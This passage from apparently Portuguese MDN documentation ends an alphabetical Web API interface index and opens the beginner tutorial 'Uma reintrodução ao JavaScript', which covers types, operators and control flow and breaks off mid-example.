\nExperimental\n* `PeriodicSyncManager` (en-US) \nExperimental\n* `PeriodicWave` (en-US)\n* `Permissions` (en-US)\n* `PermissionStatus` (en-US)\n* `PictureInPictureEvent` (en-US)\n* `PictureInPictureWindow` (en-US)\n* `Plugin` (en-US) \nDeprecated\n* `PluginArray` (en-US) \nDeprecated\n* `Point` (en-US) \nNon-standard\n\nDeprecated\n* `PointerEvent` (en-US)\n* `PopStateEvent` (en-US)\n* `PositionSensorVRDevice` (en-US) \nNon-standard\n\nDeprecated\n* `Presentation` (en-US) \nExperimental\n* `PresentationAvailability` (en-US) \nExperimental\n* `PresentationConnection` (en-US) \nExperimental\n* `PresentationConnectionAvailableEvent` (en-US) \nExperimental\n* `PresentationConnectionCloseEvent` (en-US) \nExperimental\n* `PresentationConnectionList` (en-US) \nExperimental\n* `PresentationReceiver` (en-US) \nExperimental\n* `PresentationRequest` (en-US) \nExperimental\n* `ProcessingInstruction`\n* `ProgressEvent` (en-US)\n* `PromiseRejectionEvent` (en-US)\n* `PublicKeyCredential` (en-US)\n* `PushEvent` (en-US)\n* `PushManager`\n* `PushMessageData` (en-US)\n* `PushSubscription` (en-US)\n* `PushSubscriptionOptions` (en-US)\n\n### R\n\n* `RadioNodeList` (en-US)\n* `Range` (en-US)\n* `ReadableByteStreamController` (en-US)\n* `ReadableStream` (en-US)\n* `ReadableStreamBYOBReader` (en-US)\n* `ReadableStreamBYOBRequest` (en-US)\n* `ReadableStreamDefaultController` (en-US)\n* `ReadableStreamDefaultReader` (en-US)\n* `RelativeOrientationSensor` (en-US)\n* `RemotePlayback` (en-US)\n* `Report` (en-US)\n* `ReportBody` (en-US)\n* `ReportingObserver` (en-US)\n* `Request`\n* `ResizeObserver` (en-US)\n* `ResizeObserverEntry` (en-US)\n* `ResizeObserverSize` (en-US)\n* `Response`\n* `RsaHashedImportParams` (en-US)\n* `RsaHashedKeyGenParams` (en-US)\n* `RsaOaepParams` (en-US)\n* `RsaPssParams` (en-US)\n* `RTCAudioSourceStats` (en-US)\n* `RTCCertificate`\n* `RTCCertificateStats` (en-US)\n* `RTCDataChannel`\n* `RTCDataChannelEvent` (en-US)\n* `RTCDtlsTransport` (en-US)\n* `RTCDTMFSender` (en-US)\n* `RTCDTMFToneChangeEvent` (en-US)\n* `RTCEncodedAudioFrame` (en-US)\n* `RTCEncodedVideoFrame` (en-US)\n* `RTCError` (en-US)\n* `RTCErrorEvent` (en-US)\n* `RTCIceCandidate` (en-US)\n* `RTCIceCandidatePair` (en-US)\n* `RTCIceCandidatePairStats` (en-US)\n* `RTCIceCandidateStats` (en-US)\n* `RTCIceParameters` (en-US)\n* `RTCIceTransport`\n* `RTCIdentityAssertion` (en-US) \nExperimental\n* `RTCInboundRtpStreamStats` (en-US)\n* `RTCOutboundRtpStreamStats` (en-US)\n* `RTCPeerConnection` (en-US)\n* `RTCPeerConnectionIceErrorEvent` (en-US)\n* `RTCPeerConnectionIceEvent` (en-US)\n* `RTCPeerConnectionStats` (en-US)\n* `RTCRemoteOutboundRtpStreamStats` (en-US)\n* `RTCRtpCodecParameters` (en-US)\n* `RTCRtpReceiver` (en-US)\n* `RTCRtpScriptTransform` (en-US)\n* `RTCRtpScriptTransformer` (en-US)\n* `RTCRtpSender` (en-US)\n* `RTCRtpStreamStats` (en-US)\n* `RTCRtpTransceiver` (en-US)\n* `RTCSctpTransport` (en-US)\n* `RTCSessionDescription` (en-US)\n* `RTCStatsReport` (en-US)\n* `RTCTrackEvent` (en-US)\n* `RTCTransformEvent` (en-US)\n* `RTCTransportStats` (en-US)\n\n### S\n\n* `Sanitizer` (en-US) \nExperimental\n* `Scheduler` (en-US)\n* `Scheduling` (en-US) \nExperimental\n* `Screen` (en-US)\n* `ScreenDetailed` (en-US) \nExperimental\n* `ScreenDetails` (en-US) \nExperimental\n* `ScreenOrientation` (en-US)\n* `ScriptProcessorNode` (en-US) \nDeprecated\n* `ScrollTimeline` (en-US) \nExperimental\n* `SecurePaymentConfirmationRequest` (en-US)\n* `SecurityPolicyViolationEvent` (en-US)\n* `Selection`\n* `Sensor` (en-US)\n* `SensorErrorEvent` (en-US)\n* `Serial` (en-US) \nExperimental\n* `SerialPort` (en-US) \nExperimental\n* `ServiceWorker` (en-US)\n* `ServiceWorkerContainer` (en-US)\n* `ServiceWorkerGlobalScope` (en-US)\n* `ServiceWorkerRegistration` (en-US)\n* `ShadowRoot` (en-US)\n* `SharedStorage` (en-US) \nExperimental\n* `SharedStorageOperation` (en-US) \nExperimental\n* `SharedStorageRunOperation` (en-US) \nExperimental\n* `SharedStorageSelectURLOperation` (en-US) \nExperimental\n* `SharedStorageWorklet` (en-US) \nExperimental\n* `SharedStorageWorkletGlobalScope` (en-US) \nExperimental\n* `SharedWorker` (en-US)\n* `SharedWorkerGlobalScope` (en-US)\n* `SourceBuffer` (en-US)\n* `SourceBufferList` (en-US)\n* `SpeechGrammar` \nExperimental\n* `SpeechGrammarList` (en-US) \nExperimental\n* `SpeechRecognition` (en-US)\n* `SpeechRecognitionAlternative` (en-US)\n* `SpeechRecognitionErrorEvent` (en-US)\n* `SpeechRecognitionEvent` (en-US)\n* `SpeechRecognitionResult` (en-US)\n* `SpeechRecognitionResultList` (en-US)\n* `SpeechSynthesis`\n* `SpeechSynthesisErrorEvent` (en-US)\n* `SpeechSynthesisEvent` (en-US)\n* `SpeechSynthesisUtterance` (en-US)\n* `SpeechSynthesisVoice` (en-US)\n* `StaticRange` (en-US)\n* `StereoPannerNode` (en-US)\n* `Storage`\n* `StorageEvent` (en-US)\n* `StorageManager`\n* `StylePropertyMap` (en-US)\n* `StylePropertyMapReadOnly` (en-US)\n* `StyleSheet` (en-US)\n* `StyleSheetList` (en-US)\n* `SubmitEvent` (en-US)\n* `SubtleCrypto`\n* `SVGAElement`\n* `SVGAngle` (en-US)\n* `SVGAnimateColorElement` (en-US) \nDeprecated\n* `SVGAnimatedAngle` (en-US)\n* `SVGAnimatedBoolean` (en-US)\n* `SVGAnimatedEnumeration` (en-US)\n* `SVGAnimatedInteger` (en-US)\n* `SVGAnimatedLength` (en-US)\n* `SVGAnimatedLengthList` (en-US)\n* `SVGAnimatedNumber` (en-US)\n* `SVGAnimatedNumberList` (en-US)\n* `SVGAnimatedPreserveAspectRatio` (en-US)\n* `SVGAnimatedRect` (en-US)\n* `SVGAnimatedString` (en-US)\n* `SVGAnimatedTransformList` (en-US)\n* `SVGAnimateElement` (en-US)\n* `SVGAnimateMotionElement` (en-US)\n* `SVGAnimateTransformElement`\n* `SVGAnimationElement` (en-US)\n* `SVGCircleElement` (en-US)\n* `SVGClipPathElement` (en-US)\n* `SVGComponentTransferFunctionElement` (en-US)\n* `SVGCursorElement` (en-US) \nDeprecated\n* `SVGDefsElement` (en-US)\n* `SVGDescElement` (en-US)\n* `SVGElement` (en-US)\n* `SVGEllipseElement` (en-US)\n* `SVGEvent` (en-US)\n* `SVGFEBlendElement` (en-US)\n* `SVGFEColorMatrixElement` (en-US)\n* `SVGFEComponentTransferElement` (en-US)\n* `SVGFECompositeElement` (en-US)\n* `SVGFEConvolveMatrixElement` (en-US)\n* `SVGFEDiffuseLightingElement` (en-US)\n* `SVGFEDisplacementMapElement` (en-US)\n* `SVGFEDistantLightElement` (en-US)\n* `SVGFEDropShadowElement` (en-US)\n* `SVGFEFloodElement` (en-US)\n* `SVGFEFuncAElement` (en-US)\n* `SVGFEFuncBElement` (en-US)\n* `SVGFEFuncGElement` (en-US)\n* `SVGFEFuncRElement` (en-US)\n* `SVGFEGaussianBlurElement` (en-US)\n* `SVGFEImageElement` (en-US)\n* `SVGFEMergeElement` (en-US)\n* `SVGFEMergeNodeElement` (en-US)\n* `SVGFEMorphologyElement` (en-US)\n* `SVGFEOffsetElement` (en-US)\n* `SVGFEPointLightElement` (en-US)\n* `SVGFESpecularLightingElement` (en-US)\n* `SVGFESpotLightElement` (en-US)\n* `SVGFETileElement` (en-US)\n* `SVGFETurbulenceElement` (en-US)\n* `SVGFilterElement` (en-US)\n* `SVGFontElement` (en-US) \nDeprecated\n* `SVGFontFaceElement` (en-US) \nDeprecated\n* `SVGFontFaceFormatElement` (en-US) \nDeprecated\n* `SVGFontFaceNameElement` (en-US) \nDeprecated\n* `SVGFontFaceSrcElement` (en-US) \nDeprecated\n* `SVGFontFaceUriElement` (en-US) \nDeprecated\n* `SVGForeignObjectElement` (en-US)\n* `SVGGElement` (en-US)\n* `SVGGeometryElement` (en-US)\n* `SVGGlyphElement` (en-US) \nDeprecated\n* `SVGGlyphRefElement` (en-US) \nDeprecated\n* `SVGGradientElement` (en-US)\n* `SVGGraphicsElement` (en-US)\n* `SVGHKernElement` (en-US) \nDeprecated\n* `SVGImageElement` (en-US)\n* `SVGLength` (en-US)\n* `SVGLengthList` (en-US)\n* `SVGLinearGradientElement` (en-US)\n* `SVGLineElement` (en-US)\n* `SVGMarkerElement` (en-US)\n* `SVGMaskElement` (en-US)\n* `SVGMetadataElement` (en-US)\n* `SVGMissingGlyphElement` (en-US) \nDeprecated\n* `SVGMPathElement` (en-US)\n* `SVGNumber` (en-US)\n* `SVGNumberList` (en-US)\n* `SVGPathElement` (en-US)\n* `SVGPatternElement` (en-US)\n* `SVGPoint` (en-US) \nDeprecated\n* `SVGPointList` (en-US)\n* `SVGPolygonElement` (en-US)\n* `SVGPolylineElement` (en-US)\n* `SVGPreserveAspectRatio` (en-US)\n* `SVGRadialGradientElement` (en-US)\n* `SVGRect` (en-US)\n* `SVGRectElement` (en-US)\n* `SVGRenderingIntent` (en-US) \nDeprecated\n* `SVGScriptElement` (en-US)\n* `SVGSetElement` (en-US)\n* `SVGStopElement` (en-US)\n* `SVGStringList` (en-US)\n* `SVGStyleElement` (en-US)\n* `SVGSVGElement` (en-US)\n* `SVGSwitchElement` (en-US)\n* `SVGSymbolElement` (en-US)\n* `SVGTextContentElement` (en-US)\n* `SVGTextElement` (en-US)\n* `SVGTextPathElement` (en-US)\n* `SVGTextPositioningElement` (en-US)\n* `SVGTitleElement` (en-US)\n* `SVGTransform` (en-US)\n* `SVGTransformList` (en-US)\n* `SVGTRefElement` (en-US) \nDeprecated\n* `SVGTSpanElement` (en-US)\n* `SVGUnitTypes` (en-US)\n* `SVGUseElement` (en-US)\n* `SVGViewElement` (en-US)\n* `SVGVKernElement` (en-US) \nDeprecated\n* `SyncEvent` (en-US) \nExperimental\n* `SyncManager` (en-US) \nExperimental\n\n### T\n\n* `TaskAttributionTiming` (en-US) \nExperimental\n* `TaskController` (en-US)\n* `TaskPriorityChangeEvent` (en-US)\n* `TaskSignal` (en-US)\n* `Text` (en-US)\n* `TextDecoder` (en-US)\n* `TextDecoderStream` (en-US)\n* `TextEncoder` (en-US)\n* `TextEncoderStream` (en-US)\n* `TextFormat` (en-US) \nExperimental\n* `TextFormatUpdateEvent` (en-US) \nExperimental\n* `TextMetrics` (en-US)\n* `TextTrack` (en-US)\n* `TextTrackCue` (en-US)\n* `TextTrackCueList` (en-US)\n* `TextTrackList` (en-US)\n* `TextUpdateEvent` (en-US) \nExperimental\n* `TimeEvent` (en-US)\n* `TimeRanges` (en-US)\n* `ToggleEvent` (en-US)\n* `Touch` (en-US)\n* `TouchEvent` (en-US)\n* `TouchList` (en-US)\n* `TrackEvent` (en-US)\n* `TransformStream` (en-US)\n* `TransformStreamDefaultController` (en-US)\n* `TransitionEvent` (en-US)\n* `TreeWalker` (en-US)\n* `TrustedHTML` (en-US)\n* `TrustedScript` (en-US)\n* `TrustedScriptURL` (en-US)\n* `TrustedTypePolicy` (en-US)\n* `TrustedTypePolicyFactory` (en-US)\n\n### U\n\n* `UIEvent` (en-US)\n* `URL`\n* `URLPattern` (en-US) \nExperimental\n* `URLSearchParams`\n* `USB` (en-US) \nExperimental\n* `USBAlternateInterface` (en-US) \nExperimental\n* `USBConfiguration` (en-US) \nExperimental\n* `USBConnectionEvent` (en-US) \nExperimental\n* `USBDevice` (en-US) \nExperimental\n* `USBEndpoint` (en-US) \nExperimental\n* `USBInterface` (en-US) \nExperimental\n* `USBInTransferResult` (en-US) \nExperimental\n* `USBIsochronousInTransferPacket` (en-US) \nExperimental\n* `USBIsochronousInTransferResult` (en-US) \nExperimental\n* `USBIsochronousOutTransferPacket` (en-US) \nExperimental\n* `USBIsochronousOutTransferResult` (en-US) \nExperimental\n* `USBOutTransferResult` (en-US) \nExperimental\n* `UserActivation` (en-US)\n\n### V\n\n* `ValidityState`\n* `VideoColorSpace` (en-US)\n* `VideoDecoder` (en-US)\n* `VideoEncoder` (en-US)\n* `VideoFrame` (en-US)\n* `VideoPlaybackQuality` (en-US)\n* `VideoTrack` (en-US)\n* `VideoTrackList` (en-US)\n* `ViewTimeline` (en-US) \nExperimental\n* `ViewTransition` (en-US) \nExperimental\n* `VirtualKeyboard` (en-US) \nExperimental\n* `VisibilityStateEntry` (en-US) \nExperimental\n* `VisualViewport` (en-US)\n* `VRDisplay` (en-US) \nNon-standard\n\nDeprecated\n* `VRDisplayCapabilities` (en-US) \nNon-standard\n\nDeprecated\n* `VRDisplayEvent` (en-US) \nNon-standard\n\nDeprecated\n* `VREyeParameters` (en-US) \nNon-standard\n\nDeprecated\n* `VRFieldOfView` (en-US) \nNon-standard\n\nDeprecated\n* `VRFrameData` (en-US) \nNon-standard\n\nDeprecated\n* `VRLayerInit` (en-US) \nDeprecated\n* `VRPose` (en-US) \nNon-standard\n\nDeprecated\n* `VRStageParameters` (en-US) \nNon-standard\n\nDeprecated\n* `VTTCue` (en-US)\n* `VTTRegion` (en-US)\n\n### W\n\n* `WakeLock` (en-US)\n* `WakeLockSentinel` (en-US)\n* `WaveShaperNode` (en-US)\n* `WebGL2RenderingContext` (en-US)\n* `WebGLActiveInfo` (en-US)\n* `WebGLBuffer` (en-US)\n* `WebGLContextEvent` (en-US)\n* `WebGLFramebuffer` (en-US)\n* `WebGLObject` (en-US)\n* `WebGLProgram` (en-US)\n* `WebGLQuery` (en-US)\n* `WebGLRenderbuffer` (en-US)\n* `WebGLRenderingContext` (en-US)\n* `WebGLSampler` (en-US)\n* `WebGLShader` (en-US)\n* `WebGLShaderPrecisionFormat` (en-US)\n* `WebGLSync` (en-US)\n* `WebGLTexture` (en-US)\n* `WebGLTransformFeedback` (en-US)\n* `WebGLUniformLocation` (en-US)\n* `WebGLVertexArrayObject` (en-US)\n* `WebSocket`\n* `WebTransport` (en-US)\n* `WebTransportBidirectionalStream` (en-US)\n* `WebTransportDatagramDuplexStream` (en-US)\n* `WebTransportError` (en-US)\n* `WebTransportReceiveStream` (en-US) \nExperimental\n* `WebTransportSendStream` (en-US) \nExperimental\n* `WGSLLanguageFeatures` (en-US) \nExperimental\n* `WheelEvent` (en-US)\n* `Window`\n* `WindowClient` (en-US)\n* `WindowControlsOverlay` (en-US) \nExperimental\n* `WindowControlsOverlayGeometryChangeEvent` (en-US) \nExperimental\n* `WindowSharedStorage` (en-US) \nExperimental\n* `Worker`\n* `WorkerGlobalScope` (en-US)\n* `WorkerLocation` (en-US)\n* `WorkerNavigator` (en-US)\n* `Worklet` (en-US)\n* `WorkletGlobalScope` (en-US)\n* `WorkletSharedStorage` (en-US) \nExperimental\n* `WritableStream` (en-US)\n* `WritableStreamDefaultController` (en-US)\n* `WritableStreamDefaultWriter` (en-US)\n\n### X\n\n* `XMLDocument`\n* `XMLHttpRequest`\n* `XMLHttpRequestEventTarget` (en-US)\n* `XMLHttpRequestUpload` (en-US)\n* `XMLSerializer` (en-US)\n* `XPathEvaluator` (en-US)\n* `XPathException` (en-US)\n* `XPathExpression` (en-US)\n* `XPathNSResolver` (en-US)\n* `XPathResult` (en-US)\n* `XRAnchor` (en-US) \nExperimental\n* `XRAnchorSet` (en-US) \nExperimental\n* `XRBoundedReferenceSpace` (en-US) \nExperimental\n* `XRCompositionLayer` (en-US) \nExperimental\n* `XRCPUDepthInformation` (en-US) \nExperimental\n* `XRCubeLayer` (en-US) \nExperimental\n* `XRCylinderLayer` (en-US) \nExperimental\n* `XRDepthInformation` (en-US) \nExperimental\n* `XREquirectLayer` (en-US) \nExperimental\n* `XRFrame` (en-US) \nExperimental\n* `XRHand` (en-US)\n* `XRHitTestResult` (en-US) \nExperimental\n* `XRHitTestSource` (en-US) \nExperimental\n* `XRInputSource` (en-US)\n* `XRInputSourceArray` (en-US) \nExperimental\n* `XRInputSourceEvent` (en-US)\n* `XRInputSourcesChangeEvent` (en-US)\n* `XRJointPose` (en-US)\n* `XRJointSpace` (en-US)\n* `XRLayer` (en-US) \nExperimental\n* `XRLayerEvent` (en-US) \nExperimental\n* `XRLightEstimate` (en-US) \nExperimental\n* `XRLightProbe` (en-US) \nExperimental\n* `XRMediaBinding` (en-US) \nExperimental\n* `XRPose` (en-US)\n* `XRProjectionLayer` (en-US) \nExperimental\n* `XRQuadLayer` (en-US) \nExperimental\n* `XRRay` (en-US) \nExperimental\n* `XRReferenceSpace` (en-US)\n* `XRReferenceSpaceEvent` (en-US)\n* `XRRenderState` (en-US) \nExperimental\n* `XRRigidTransform` (en-US)\n* `XRSession` (en-US) \nExperimental\n* `XRSessionEvent` (en-US)\n* `XRSpace` (en-US)\n* `XRSubImage` (en-US) \nExperimental\n* `XRSystem` (en-US) \nExperimental\n* `XRTransientInputHitTestResult` (en-US) \nExperimental\n* `XRTransientInputHitTestSource` (en-US) \nExperimental\n* `XRView` (en-US) \nExperimental\n* `XRViewerPose` (en-US)\n* `XRViewport` (en-US)\n* `XRWebGLBinding` (en-US) \nExperimental\n* `XRWebGLDepthInformation` (en-US) \nExperimental\n* `XRWebGLLayer` (en-US) \nExperimental\n* `XRWebGLSubImage` (en-US) \nExperimental\n* `XSLTProcessor`\n\nVeja também\n-----------\n\n* Referência de evento de API da Web (en-US)"}
{"title":"Uma reintrodução ao JavaScript (Tutorial de JS) - JavaScript","text":"Uma reintrodução ao JavaScript (Tutorial de JS)\n===============================================\n\nIntrodução\n----------\n\nPor que uma reintrodução? Porque JavaScript é conhecida como a mais incompreendida linguagem de programação do mundo. Embora muitas vezes ridicularizada como um brinquedo, por baixo de sua simplicidade enganosa estão alguns recursos poderosos da linguagem, que agora é usado por um número incrível de aplicações de alto nível, mostrando que o conhecimento mais profundo desta tecnologia é uma habilidade importante para qualquer desenvolvedor web, mobile ou desktop.\n\nÉ sempre bom começar com a história da linguagem. A JavaScript foi criada em 1995 por Brendan Eich, um engenheiro da Netscape, e lançada pela primeira vez com o Netscape 2 no início de 1996. Foi inicialmente chamada de LiveScript, mas logo foi rebatizada, em uma decisão de marketing malfeita, para tentar crescer sobre a popularidade da linguagem Java da Sun Microsystem - apesar das duas terem muito pouco em comum. Esta tem sido uma fonte de confusão desde então.\n\nA Microsoft lançou uma versão compatível com a maior parte da linguagem, chamada de JScript, junto com o IE, três meses mais tarde. A Netscape apresentou a linguagem a Ecma International, uma organização européia de normalização, o que resultou na primeira edição do padrão ECMAScript em 1997. O padrão recebeu uma atualização significativa com o ECMAScript Edição 3 em 1999, e manteve-se praticamente estável desde então. A quarta edição foi abandonada, devido a diferenças políticas relativas à complexidade da linguagem. Muitas partes da quarta edição formam a base da nova edição ECMAScript 5, publicado em dezembro de 2009.\n\nEsta estabilidade foi uma grande notícia para os desenvolvedores, pois isto proporcionou que várias implementações em JavaScript tivessem muito tempo para se firmar. Eu vou focar quase exclusivamente no dialeto da edição 3. Para que seja facil se familiarizar, vou utilizar o termo JavaScript por todo o texto.\n\nDiferentemente da maioria das linguagens de programação , a linguagem JavaScript não possui o conceito de entrada e saída. Ela é projetada para funcionar como uma linguagem de script em um ambiente de terceiros, e cabe ao ambiente fornecer mecanismos para a comunicação com o mundo exterior. O ambiente de terceiros (hospedeiro) mais comum é o navegador, mas interpretadores JavaScript também pode ser encontrados no Adobe Acrobat, Photoshop, imagens SVG, Widget engine do Yahoo! , bem como ambientes de servidor, como Node.js. No entanto, a lista aqui apresentada das áreas nas quais a JavaScript é utilizada é apenas o começo. Ela também inclui bancos de dados NoSQL, como o código-fonte aberto Apache CouchDB, computadores embarcados, ou ambientes de trabalho completos, como o GNOME (um dos GUIs mais populares para os sistemas operacionais GNU / Linux) .\n\nVisão Geral\n-----------\n\nA JavaScript é uma linguagem dinâmica orientada a objetos; tem tipos e operadores, objetos e métodos. Sua sintaxe vem das linguagens Java e C, por isso tantas estruturas dessas linguagens se aplicam a JavaScript também. Uma das principais diferenças é que o JavaScript não tem classes; em vez disso, a funcionalidade de classe é realizada por protótipos de objetos. A outra diferença principal é que as funções são objetos, dando as funções a capacidade para armazenar código executável e serem passadas como parametro para qualquer outro objeto.\n\nVamos começar pelo bloco de construção de qualquer linguagem: os tipos. Programas JavaScript manipulam valores, e esses valores todos pertencem a um tipo. Tipos de JavaScript são :\n\n* números\n* strings\n* booleanos\n* funções\n* objetos\n\n... Ops, e o \"indefinido\" e o \"nulo\"- , que parecem um pouco estranhos. E arrays (vetores), que são um tipo especial de objeto. E as datas e expressões regulares, que são objetos que você ganha de graça. E para ser tecnicamente preciso, as funções são apenas um tipo especial de objeto. Assim, a lista de tipos se parece mais com isto:\n\n* números (numbers)\n* strings (strings)\n* booleanos (booleans)\n* objetos (objects)\n    + funções (functions)\n    + vetores (arrays)\n    + datas (dates)\n    + expressoes regulares (regexp)\n* nulo (null)\n* indefinido (undefined)\n\nE existem também alguns tipos para erros. As coisas são muito mais fáceis se ficarmos com a primeira lista, no entanto.\n\nNúmeros\n-------\n\nNúmeros em JavaScript são \"valores de precisão dupla no formato IEEE 754\", de acordo com a especificação. Isto tem algumas consequências interessantes. Não existe essa coisa de inteiro em JavaScript, então você deve ser um pouco cuidadoso com seus cálculos se você está acostumado a matemática em C ou Java. Cuidado com coisas como:\n```\n\n0.1 + 0.2 == 0.30000000000000004\n```\n\n\nNa prática, valores inteiros são tratados como inteiros de 32 bits (e são armazenados dessa forma em algumas implementações do navegador), que podem ser importantes para as operações bit a bit. Para mais detalhes, consulte The Complete JavaScript Number Reference.\n\nOs operadores numéricos padrões são suportados, incluindo adição, subtração, módulo (ou resto) aritmético e assim por diante. Há também um objeto embutido que eu esqueci de mencionar mais cedo chamado Math para manipular funções e constantes matemáticas mais avançadas:\n\n\n```js\nMath.sin(3.5);\nvar d = Math.PI \\* r \\* r;\n```\n\n\nVocê pode converter uma string em um inteiro usando a função embutida `parseInt()`. Ela tem um segundo parâmetro opcional para a base da conversão, parâmetro esse que você deveria sempre prover:\n\n\n```js\n> parseInt(\"123\", 10)\n123\n```\n\n\nSe você quiser converter um número binário em um inteiro, basta mudar a base:\n\n\n```js\n> parseInt(\"11\", 2)\n3\n```\n\n\nSimilarmente, você pode fazer a conversão de números de ponto flutuante usando a função embutida `parseFloat()` que usa a base 10 sempre, ao contrário de seu primo `parseInt()`.\n\nVocê também pode usar o operador unário `+` para converter valores em números:\n```\n\n> + \"42\"\n42\n```\n\n\nUm valor especial chamado `NaN` (sigla de \"Not a Number ou Não é Número\") é retornado se a string não é um valor numérico:\n\n\n```js\n> parseInt(\"hello\", 10)\nNaN\n```\n\n\n`NaN` é tóxico: Se você provê-lo como uma entrada para qualquer operação matemática o resultado também será `NaN`:\n\n\n```js\n> NaN + 5\nNaN\n```\n\n\nVocê pode testar se é `NaN` usando a função embutida `isNaN()`:\n\n\n```js\n> isNaN(NaN)\ntrue\n```\n\n\nJavaScript também tem os valores especiais `Infinity` e `-Infinity`:\n\n\n```js\n> 1 / 0\nInfinity\n> -1 / 0\n-Infinity\n```\n\n\nVocê pode testar se o valor é `Infinity`, `-Infinity` e `NaN` usando a função embutida `isFinite()`:\n\n\n```js\n> isFinite(1/0)\nfalse\n> isFinite(-Infinite)\nfalse\n> isFinite(NaN)\nfalse\n```\n\n\n**Nota:** As funções `parseInt()` e `parseFloat()` fazem a conversão da string até alcançarem um caracter que não é válido para o formato numérico especificado, então elas retornam o número convertido até aquele ponto. Contudo, o operador \"+\" simplesmente converte a string em `NaN` se tiver algum caracter inválido nela. Apenas tente por si mesmo converter a string \"10.2abc\" usando cada um desses métodos no console e entenderá melhor essas diferenças.\n\nStrings\n-------\n\nStrings em JavaScript são sequências de caracteres. Para ser mais exato, elas são sequências de Unicode characters, em que cada um deles é representado por um número de 16-bits. Isso deveria ser uma notícia bem-vinda para aqueles que tiveram que lidar com internacionalização.\n\nSe você quiser representar um único caractere, você só tem que usar uma string de tamanho 1.\n\nPara obter o tamanho de uma string, acesse sua propriedade `length`:\n\n\n```js\n> \"hello\".length\n5\n```\n\n\nEssa é nossa primeira pincelada com objetos JavaScript! Eu mencionei que strings também são objetos? De modo que elas têm métodos:\n\n\n```js\n> \"hello\".charAt(0)\nh\n> \"hello, world\".replace(\"hello\", \"goodbye\")\ngoodbye, world\n> \"hello\".toUpperCase()\nHELLO\n```\n\nOutros tipos\n------------\n\nNo JavaScript há distinção entre `null`, que é um objeto do tipo 'object' para indicar deliberadamente uma ausência de valor, do `undefined`, que é um objeto do tipo 'undefined' para indicar um valor não inicializado — isto é, que um valor não foi atribuído ainda. Vamos falar sobre variáveis depois, mas em JavaScript é possível declarar uma variável sem atribuir um valor para a mesma. Se você fizer isso, a variável será do tipo `undefined`.\n\nJavaScript tem um tipo boolean, ao qual são possíveis os valores `true` e `false` (ambos são palavras-chave). Qualquer valor pode ser convertido em um boolean, de acordo com as seguintes regras:\n\n1. `false`, `0`, a string vazia(`\"\"`), `NaN`, `null`, e `undefined` todos tornam-se `false`\n2. todos os outros valores tornam-se `true`\n\nVocê pode fazer essa conversão explicitamente usando a função `Boolean()`:\n\n\n```js\n> Boolean(\"\")\nfalse\n> Boolean(234)\ntrue\n```\n\n\nContudo, essa é uma necessidade rara, uma vez que JavaScript silenciosamente fará essa conversão quando for esperado um boolean, como em uma instrução `if`. Por isso, algumas vezes falamos simplesmente em \"valores true\" e \"valores false\" nos referindo a valores que se tornaram `true` e `false`, respectivamente, quando convertidos em boolean. Alternativamente, esses valores podem ser chamados de \"truthy\" (verdade/verdadeiro) e \"falsy\" (falso/falsidade), respectivamente.\n\nOperações booleanas como `&&` (*and* lógico), `||` (*or* lógico), e `!` (*not* lógico) são suportadas.\n\nVariáveis\n---------\n\nNovas variáveis em JavaScript são declaradas usando a palavra-chave `var`:\n\n\n```js\nvar a;\nvar name = \"simon\";\n```\n\n\nSe você declarar uma variável sem atribuir qualquer valor a ela, seu tipo será `undefined`.\n\nUma diferença importante de outras linguagens como Java é que em JavaScript, blocos não tem escopo; somente funções tem escopo. De modo que se uma variável é definida usando `var` numa instrução composta (por exemplo dentro de uma estrutura de controle `if`), ela será visível por toda a função.\n\nObs: A definição de variáveis usando o let foi introduzida no ECMAScript 6. O let permite escopo de bloco, ou seja, é possível definir uma variável em um bloco `if`, e esta variável ter escopo limitado ao bloco `if`- por exemplo.\n\nOperadores\n----------\n\nOperadores numéricos de JavaScript são `+`, `-`, `*`, `/` e `%` - que é o operador resto. Valores são atribuídos usando `=`, e temos também as instruções de atribuição compostas, como `+=` e `-=`. Essas são o mesmo que `x = x operador y`.\n\n\n```js\nx += 5;\nx = x + 5;\n```\n\n\nVocê pode usar `++` e `--` para incrementar ou decrementar respectivamente. Eles podem ser usados como operadores tanto antes como depois.\n\nO operador `+` também faz concatenação de string:\n\n\n```js\n> \"hello\" + \" world\"\nhello world\n```\n\n\nSe você adicionar uma string a uma número (ou outro valor) tudo será convertido em uma string primeiro. Isso talvez seja uma pegadinha para você:\n\n\n```js\n> \"3\" + 4 + 5\n345\n> 3 + 4 + \"5\"\n75\n```\n\n\nAdicionar uma string em branco a algo é uma maneira melhor de fazer a conversão.\n\nComparações em JavaScript podem ser feitas usando `<`, `>`, `<=` e `>=`. Isso funciona tanto para strings como para números. A igualdade é um pouco menos simples. O operador igual-duplo faz a coersão de tipo se você colocar tipos diferentes, algumas vezes com resultados interessantes:\n\n\n```js\n> \"dog\" == \"dog\"\ntrue\n> 1 == true\ntrue\n```\n\n\nPara evitar a coersão de tipo, use o operador igual-triplo:\n\n\n```js\n> 1 === true\nfalse\n> true === true\ntrue\n```\n\n\nTemos também os operadores `!=` e `!==` .\n\nJavaScript também tem operações de bit-a-bit. Se quiser usá-las, elas estarão lá.\n\nEstruturas de Controle\n----------------------\n\nJavaScript tem um conjunto de estruturas de controle similar à outras linguagens na família do C. Instruções condicionais são suportadas pelo `if` e `else`; você pode encadeá-los se quiser:\n\n\n```js\nvar name = \"kittens\";\nif (name == \"puppies\") {\n  name += \"!\";\n} else if (name == \"kittens\") {\n  name += \"!!\";\n} else {\n  name = \"!\" + name;\n}\nname == \"kittens!!\";\n```\n\n\nJavaScript tem as estruturas de repetição com os laços `while` e `do-while`. O primeiro é bom para repetições básicas; o segundo é para os casos em que você queira que o corpo da repetição seja executado pelo menos uma vez:\n\n\n```js\nwhile (true) {\n  // an infinite loop!\n}\n\nvar input;\ndo {\n  input = get\\_input();\n} while (inputIsNotValid(input));\n```\n\n\nO laço `for` do JavaScript é o mesmo que no C e Java: ele lhe permite prover as informações para o seu laço em uma única linha.\n\n\n```js\nfor (var i = 0; i < 5; i++) {\n  // Will execute 5 times\n}\n```\n\n\nOs operadores `&&` e `||` usam a lógica de curto-circuito, o que quer dizer que, o segundo operando ser executado dependerá do primeiro operando. Isso é útil para checagem de objetos null antes de acessar seus atributos:\n\n\n```js\nvar name = o && o.getName();\n```\n\n\nOu para configuração de valores-padrões:\n\n\n```js\nvar name = otherName || \"default\";\n```\n\n\nJavaScript tem um operador ternário para expressões condicionais:\n\n\n```js\nvar allowed = age > 18 ? \"yes\" : \"no\";\n```\n\n\nA instrução switch pode ser usada para múltiplas ramificações baseadas em um número ou uma string:\n\n\n```js\nswitch (action) {\n  case \"draw\":\n    drawit();\n    break;\n  case \"eat\":\n    eatit();\n    break;\n  default:\n    